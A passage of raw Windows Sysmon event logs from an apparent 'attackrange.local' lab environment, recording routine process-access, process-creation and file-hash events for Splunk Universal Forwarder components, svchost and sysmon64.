Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015130Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70F6-613B-C804-00000000F101}3876C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015129Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-70F6-613B-C804-00000000F101}3876C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015128Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.067{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4C0D0272872E4510F421BF4ADC8DC607,SHA256=8E04E80163C166E950DD6CD63DFE80B324F8D7416638CBC7D1500733276590A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:35.927{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B3EB884F16944059F95BB2395D4CE14,SHA256=CD5194882718816745969CFFF448C7F2165410818C26471D94603796996BDF82,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015172Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.896{625C326B-70F7-613B-CA04-00000000F101}8523388C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015171Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70F7-613B-CA04-00000000F101}852C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015170Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015169Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015168Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015167Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015166Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015165Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015164Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015163Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015162Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015161Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-70F7-613B-CA04-00000000F101}852C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015160Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.708{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70F7-613B-CA04-00000000F101}852C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015159Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.709{625C326B-70F7-613B-CA04-00000000F101}852C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000015158Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.427{625C326B-70F7-613B-C904-00000000F101}30681608C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015157Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70F7-613B-C904-00000000F101}3068C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015156Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=961DE5BD831EB8358FE423111295B554,SHA256=FE0139A0259BD52F02C9B66ED191E0E4C91C09DDD5056461F9DE32F38992CD8D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015155Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015154Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015153Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015152Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015151Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015150Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015149Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015148Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 